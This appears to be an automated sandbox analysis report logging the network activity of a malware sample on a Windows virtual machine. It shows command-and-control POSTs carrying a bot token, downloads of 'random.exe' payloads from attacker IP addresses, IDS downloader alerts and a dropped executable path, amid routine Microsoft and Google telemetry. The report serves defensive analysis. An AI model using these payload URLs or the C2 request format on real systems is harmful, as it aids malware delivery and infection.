Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"ybncbhylepme------JKFCBAEHCAEGDHJKFHJK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 2d 2d 0d 0a Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGIJJKKJJDAAAAAKFHJJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49794 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49929 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50103 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_00D0BE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

34_2_00D0BE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175655Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=706d1c679c1d4931a7968d63350e3c2e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593978&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593978&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: Er2Zl1Zc7ke+76s0.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175655Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=368c9beb21004be98ea1419f7c954330&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593978&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593978&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: Er2Zl1Zc7ke+76s0.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mVspmPnUz+xGfLt&MD=m7VUbVNA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
